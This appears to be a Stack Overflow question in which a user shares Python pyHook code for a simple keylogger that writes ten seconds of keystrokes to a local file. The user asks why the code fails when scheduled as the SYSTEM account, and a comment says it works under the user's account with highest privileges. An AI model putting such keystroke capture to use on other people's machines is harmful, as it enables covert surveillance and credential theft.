2

Using Windows 7, Python 2.7 I wrote and compiled the code below (with pyinstaller2-0) and it works fine if I start it by right clicking and choose run as admin, but when I start it through the task scheduler as the system user, it does not log any keys (after the 10 second wait, it just creates an empty output file). I'm thinking maybe because I'm running it as a different account, its not hooking the "correct keyboard"?

import threading
import pyHook
import pythoncom
import time

def OnKeyboardEvent(event):
    global keylog
    keylog.append(chr(event.Ascii))
    return 

class thekeylogger ( threading.Thread ):
    def run ( self ):
        hm = pyHook.HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()
        return      

keylog = []
thekeylogger().start()
time.sleep(10)
keys = "".join(keylog)
output_file = open('c:\\project\\test.txt', 'w')
output_file.write(keys)
output_file.close()
  • Well it turns out that running this under the system account is a very bad idea. Corrected issue by running it with the task scheduler as the user in question with "run with highest privileges" check-marked. – JohnathonSparks Dec 03 '12 at 16:25

0 Answers0